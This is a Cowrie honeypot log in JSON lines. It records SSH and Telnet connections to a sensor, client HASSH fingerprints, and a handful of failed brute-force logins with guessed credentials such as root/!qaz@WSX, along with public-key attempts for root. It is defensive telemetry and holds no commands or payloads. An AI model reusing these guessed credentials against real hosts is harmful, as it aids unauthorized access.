{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:21.147650Z","src_ip":"176.65.132.129","session":"32a81579c9f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:21.151629Z","src_ip":"176.65.132.129","session":"32a81579c9f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:21.529546Z","src_ip":"176.65.132.129","session":"32a81579c9f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:22.614648Z","src_ip":"176.65.132.129","session":"32a81579c9f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.04979586601257,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:22.953791Z","src_ip":"45.58.127.90","session":"5d568cabaa63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57952,"dst_ip":"10.17.0.5","dst_port":23,"session":"59dc4865e8ae","protocol":"telnet","message":"New connection: 45.58.127.90:57952 (10.17.0.5:23) [session: 59dc4865e8ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:23.157153Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59198,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fe218075a27","protocol":"ssh","message":"New connection: 176.65.132.129:59198 (159.203.135.109:22) [session: 7fe218075a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:24.607618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:24.612408Z","src_ip":"176.65.132.129","session":"7fe218075a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:24.694670Z","src_ip":"176.65.132.129","session":"7fe218075a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:24.945102Z","src_ip":"176.65.132.129","session":"7fe218075a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:26.029703Z","src_ip":"176.65.132.129","session":"7fe218075a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.10514760017395,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:26.410548Z","src_ip":"45.58.127.90","session":"05466a3f4aef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46130,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dc05d6e043f","protocol":"ssh","message":"New connection: 176.65.132.129:46130 (159.203.135.109:22) [session: 3dc05d6e043f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:27.986727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:27.992043Z","src_ip":"176.65.132.129","session":"3dc05d6e043f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:28.075334Z","src_ip":"176.65.132.129","session":"3dc05d6e043f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:28.323373Z","src_ip":"176.65.132.129","session":"3dc05d6e043f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:29.413446Z","src_ip":"176.65.132.129","session":"3dc05d6e043f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46138,"dst_ip":"159.203.135.109","dst_port":22,"session":"a122fea90dbb","protocol":"ssh","message":"New connection: 176.65.132.129:46138 (159.203.135.109:22) [session: a122fea90dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:31.312022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:31.316560Z","src_ip":"176.65.132.129","session":"a122fea90dbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:31.647673Z","src_ip":"176.65.132.129","session":"a122fea90dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:31.966664Z","src_ip":"176.65.132.129","session":"a122fea90dbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:33.058422Z","src_ip":"176.65.132.129","session":"a122fea90dbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.197.105","src_port":44348,"dst_ip":"10.17.0.5","dst_port":22,"session":"76c44b104a10","protocol":"ssh","message":"New connection: 50.6.197.105:44348 (10.17.0.5:22) [session: 76c44b104a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.033918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.039195Z","src_ip":"50.6.197.105","session":"76c44b104a10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.084396Z","src_ip":"50.6.197.105","session":"76c44b104a10","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:d8:bd:df:72:f7:39:c5:b3:8c:cd:a9:6a:79:84:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAteIbihZfu8KwZCkaFMQ5mdMnhVhP8KuQD/hUJyf0s0BvvQHsUbgZhmUysFSMpQSpseIXw6uuevN2N+PS3NzhkxApnr5wFJTj4R0duzvib01ZnI0EW+jv57YesaBOS7AQmTZhqNBJ5qP+7O6Dr/t1K6aDMKcOrXitXIybmWEWufrtCoeJ+R1M/gqPzh5kqDPiblyn36FPtA0ORyLuuvbi//+LO+QH24seBnrz9DaBX4Ra1pMwn1pur+lnsgrBQ9UFVPvSsEHm3cAEfZdCBUPHV3J8AK6PCetwg/EADnZUzTp5eGL1K3w26UkKvJDcBXOReMU8/EwCLBolpOC0QP0R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:d8:bd:df:72:f7:39:c5:b3:8c:cd:a9:6a:79:84:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.291700Z","src_ip":"50.6.197.105","session":"76c44b104a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:d8:bd:df:72:f7:39:c5:b3:8c:cd:a9:6a:79:84:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAteIbihZfu8KwZCkaFMQ5mdMnhVhP8KuQD/hUJyf0s0BvvQHsUbgZhmUysFSMpQSpseIXw6uuevN2N+PS3NzhkxApnr5wFJTj4R0duzvib01ZnI0EW+jv57YesaBOS7AQmTZhqNBJ5qP+7O6Dr/t1K6aDMKcOrXitXIybmWEWufrtCoeJ+R1M/gqPzh5kqDPiblyn36FPtA0ORyLuuvbi//+LO+QH24seBnrz9DaBX4Ra1pMwn1pur+lnsgrBQ9UFVPvSsEHm3cAEfZdCBUPHV3J8AK6PCetwg/EADnZUzTp5eGL1K3w26UkKvJDcBXOReMU8/EwCLBolpOC0QP0R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.296025Z","src_ip":"50.6.197.105","session":"76c44b104a10","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:a7:61:60:4d:a3:e9:ad:3d:a9:cd:76:93:5f:c6:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs+obbtexOuQzQ7+R10KTn/7pHTgCt0X+/QlEgMHBMLw/RvHc3pYg7TVYP3MNZ4fno55SBOgdKCQDYGcyu9snwjOb2HLF81Tl49UABAiBqvPm0QC7pTezFUby3/Z2y6E9WR6JKzRy9u5cUZAY0QmVJ6wyOoFhfdbMchnPlQxj0fDCHZmmPWme27RgwYnSBoEJSK1BYsZnJTVeaUs13+TDavGj2Kn/9OqWERS/oC2R1lfU0bUMv2SnnHQPa78N6vPSef3vzVhfPEoxx0uc2ugADu2wkarFz004cUzE9Pr+XLqxb1vNkaeCSmv2da3TShYqmFFzh23FGVZYOKRizO/r1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:a7:61:60:4d:a3:e9:ad:3d:a9:cd:76:93:5f:c6:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.342850Z","src_ip":"50.6.197.105","session":"76c44b104a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:a7:61:60:4d:a3:e9:ad:3d:a9:cd:76:93:5f:c6:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs+obbtexOuQzQ7+R10KTn/7pHTgCt0X+/QlEgMHBMLw/RvHc3pYg7TVYP3MNZ4fno55SBOgdKCQDYGcyu9snwjOb2HLF81Tl49UABAiBqvPm0QC7pTezFUby3/Z2y6E9WR6JKzRy9u5cUZAY0QmVJ6wyOoFhfdbMchnPlQxj0fDCHZmmPWme27RgwYnSBoEJSK1BYsZnJTVeaUs13+TDavGj2Kn/9OqWERS/oC2R1lfU0bUMv2SnnHQPa78N6vPSef3vzVhfPEoxx0uc2ugADu2wkarFz004cUzE9Pr+XLqxb1vNkaeCSmv2da3TShYqmFFzh23FGVZYOKRizO/r1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.349522Z","src_ip":"50.6.197.105","session":"76c44b104a10","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:d7:16:aa:a1:a9:a8:b2:ac:54:3d:72:68:f6:79:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxeuspig9i/8hWZiqnQGDeTS1nbENDs0W3r/8iB9cwA1M0TGp/S4ygODVPZ1Uuq2O5RqgXcIZNCO3D/8yswjclGtNDWbRTfzppSixnxMLLrtD6ULojrxsHwSYAMME0wC+C1r2kYzkwolWnVfd76+YiHmfIJ4GrB6f//YQIsE+tEe1/n6PUEm8YmSrQBI953Slg59JL/H5GizfH4c+utBzvEP3SHov5uI7dRAM5bD9506gr6aTqFj1DjMe4WienABgHfIBBwyU/6XAFvqs7BpRKSmlgxXy6woH5zNhd+kXUmAUmTPhYuFnsV0tSA8wts7JTzvuZNSqVSlK6Nt2Kbbgiw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:d7:16:aa:a1:a9:a8:b2:ac:54:3d:72:68:f6:79:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.396096Z","src_ip":"50.6.197.105","session":"76c44b104a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:d7:16:aa:a1:a9:a8:b2:ac:54:3d:72:68:f6:79:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxeuspig9i/8hWZiqnQGDeTS1nbENDs0W3r/8iB9cwA1M0TGp/S4ygODVPZ1Uuq2O5RqgXcIZNCO3D/8yswjclGtNDWbRTfzppSixnxMLLrtD6ULojrxsHwSYAMME0wC+C1r2kYzkwolWnVfd76+YiHmfIJ4GrB6f//YQIsE+tEe1/n6PUEm8YmSrQBI953Slg59JL/H5GizfH4c+utBzvEP3SHov5uI7dRAM5bD9506gr6aTqFj1DjMe4WienABgHfIBBwyU/6XAFvqs7BpRKSmlgxXy6woH5zNhd+kXUmAUmTPhYuFnsV0tSA8wts7JTzvuZNSqVSlK6Nt2Kbbgiw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.400459Z","src_ip":"50.6.197.105","session":"76c44b104a10","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:71:ea:72:b0:49:86:bb:67:0c:6a:8e:6f:49:21:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTGauj+8OqdjrW7anCLqhkQ0AwY7iakdQk4Ov7GoiYiSEqhLdu5mzVcngawX5e3EDezP4GTsjc2kctzvYtbbK/WN6WqKckP41cOa9JIpfeIowP8hTZptmmwn3zbvQUITNw6BrEQBCPuA/4S6XI9vg2k8S6HSl3eIq8P7N9A7mT0seEAFdxBJOWBuqlNPUykEJ2QrHssh6MAqhCepT8Awo/j9DzWteU2sx2x6T5XE++lCRAo+RvcBH+wLv8atGs1IXjBhR860+nZUxi3Pidk4QePbwma5eVtiO/mSq5d/VIjyqbET4Pd0i94SbuMxSPocUga8HRztwXIYbmVqGCCmIz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:71:ea:72:b0:49:86:bb:67:0c:6a:8e:6f:49:21:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.447077Z","src_ip":"50.6.197.105","session":"76c44b104a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:71:ea:72:b0:49:86:bb:67:0c:6a:8e:6f:49:21:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTGauj+8OqdjrW7anCLqhkQ0AwY7iakdQk4Ov7GoiYiSEqhLdu5mzVcngawX5e3EDezP4GTsjc2kctzvYtbbK/WN6WqKckP41cOa9JIpfeIowP8hTZptmmwn3zbvQUITNw6BrEQBCPuA/4S6XI9vg2k8S6HSl3eIq8P7N9A7mT0seEAFdxBJOWBuqlNPUykEJ2QrHssh6MAqhCepT8Awo/j9DzWteU2sx2x6T5XE++lCRAo+RvcBH+wLv8atGs1IXjBhR860+nZUxi3Pidk4QePbwma5eVtiO/mSq5d/VIjyqbET4Pd0i94SbuMxSPocUga8HRztwXIYbmVqGCCmIz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.450867Z","src_ip":"50.6.197.105","session":"76c44b104a10","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:55:06:2f:2f:d2:03:80:2b:bd:b5:43:9c:a8:8b:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyIwT6EPKTzzzm/x8LqOuMQko6OgdppioYSDN0+Y239xCtQIBo6WX80pYdAWHjP2KBD/HmGgia9hYS+SXQLwKFW139gdXdNeX35daRb8RKCyjKqPiQPXxldb29wcVDWX2i7GQ4HPxCdZ3BN41KEIHbwgeBnLMzggLel4sTVDwdMQCn3Ib5Sd3P9nbBeF4KMb3TQDUia7PQqriO3/4XNbR4lEYGt5OVPmoeCbeHzog2BlRtC9zhDW2P7Fu8Hr9NQK+vPzmelkpHLjxjJFCDGwZiKaS2qDjfr0vjZkeysI/4sa6kDrCggyX5RtnQhxOtmPycFqlrGrleJGOhzfBGnoWt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:55:06:2f:2f:d2:03:80:2b:bd:b5:43:9c:a8:8b:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.497087Z","src_ip":"50.6.197.105","session":"76c44b104a10","protocol":"ssh"}
